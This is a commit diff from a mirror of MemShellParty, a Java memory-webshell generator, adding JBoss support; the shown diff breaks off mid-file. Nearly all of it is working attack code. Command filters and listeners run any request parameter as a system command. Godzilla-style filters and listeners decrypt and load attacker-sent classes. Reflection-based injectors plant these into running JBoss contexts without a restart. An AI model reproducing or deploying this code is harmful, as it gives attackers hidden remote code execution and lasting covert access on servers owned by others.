mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 15:10:43 +08:00
feat: support jboss and undertow
This commit is contained in:
ReaJason
@@ -14,11 +14,12 @@ public enum Server {
|
||||
*/
|
||||
JETTY,
|
||||
/**
|
||||
* JBoss 中间件
|
||||
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||
*/
|
||||
JBOSS,
|
||||
/**
|
||||
* Undertow，对应是 Wildfly，也有可能是 SpringBoot 用的
|
||||
* Undertow，对应是 Wildfly 以及 JBoss EAP，也有可能是 SpringBoot 用的
|
||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
||||
*/
|
||||
UNDERTOW,
|
||||
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
package com.reajason.javaweb.memsell.jboss;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.jboss.command.CommandFilter;
|
||||
import com.reajason.javaweb.memsell.jboss.command.CommandListener;
|
||||
import com.reajason.javaweb.memsell.jboss.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.jboss.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memsell.jboss.injector.JbossFilterInjector;
|
||||
import com.reajason.javaweb.memsell.jboss.injector.JbossListenerInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class JbossShell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
public List<ShellTool> getSupportedShellTools() {
|
||||
return List.of(ShellTool.Command, ShellTool.Godzilla);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
package com.reajason.javaweb.memsell.jboss.command;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandFilter implements Filter {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getParameter(paramName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
package com.reajason.javaweb.memsell.jboss.command;
|
||||
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandListener implements ServletRequestListener {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
public CommandListener() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String cmd = request.getParameter(paramName);
|
||||
if (cmd != null) {
|
||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
+127
@@ -0,0 +1,127 @@
|
||||
package com.reajason.javaweb.memsell.jboss.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
+148
@@ -0,0 +1,148 @@
|
||||
package com.reajason.javaweb.memsell.jboss.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaListener() {
|
||||
}
|
||||
|
||||
public GodzillaListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute(
|
||||
"payload",
|
||||
(new GodzillaListener(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+226
@@ -0,0 +1,226 @@
|
||||
package com.reajason.javaweb.memsell.jboss.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JbossFilterInjector {
|
||||
|
||||
static {
|
||||
new JbossFilterInjector();
|
||||
}
|
||||
|
||||
public JbossFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable e1) {
|
||||
e1.printStackTrace();
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
|
||||
String filterClassName = getClassName();
|
||||
try {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
try {
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
|
||||
Constructor<?>[] constructors;
|
||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
try {
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
|
||||
constructors[0].setAccessible(true);
|
||||
try {
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(filterClassName, filterConfig);
|
||||
} catch (Exception e) {
|
||||
// 多个应用部分应用通过上下文线程加载 filter 对象，可能在目标应用会加载不到
|
||||
if (!(e.getCause() instanceof ClassNotFoundException)) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream gzipInputStream = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class<?> tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (Method value : methods) {
|
||||
if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
|
||||
method = value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+228
@@ -0,0 +1,228 @@
|
||||
package com.reajason.javaweb.memsell.jboss.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JbossListenerInjector {
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
new JbossListenerInjector();
|
||||
}
|
||||
|
||||
public JbossListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFV(childrenMap.get(key), "children");
|
||||
for (Object key1 : children.keySet()) {
|
||||
Object context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
if (!this.isInjected(context, this.getClassName())) {
|
||||
String filedName = "applicationEventListenersObjects";
|
||||
Object applicationEventListenersObjects = getFV(context, filedName);
|
||||
if (applicationEventListenersObjects == null) {
|
||||
filedName = "applicationEventListenersInstances";
|
||||
applicationEventListenersObjects = getFV(context, filedName);
|
||||
}
|
||||
if (applicationEventListenersObjects != null) {
|
||||
Object[] appListeners = (Object[]) applicationEventListenersObjects;
|
||||
if (appListeners != null) {
|
||||
List appListenerList = new ArrayList(Arrays.asList(appListeners));
|
||||
appListenerList.add(listener);
|
||||
setFieldValue(context, filedName, appListenerList.toArray());
|
||||
}
|
||||
} else if (getFV(context, "applicationEventListenersList") != null) {
|
||||
List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
|
||||
if (appListeners != null) {
|
||||
appListeners.add(listener);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
|
||||
List listeners = Arrays.asList(objects);
|
||||
ArrayList arrayList = new ArrayList(listeners);
|
||||
for (Object o : arrayList) {
|
||||
if (o.getClass().getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
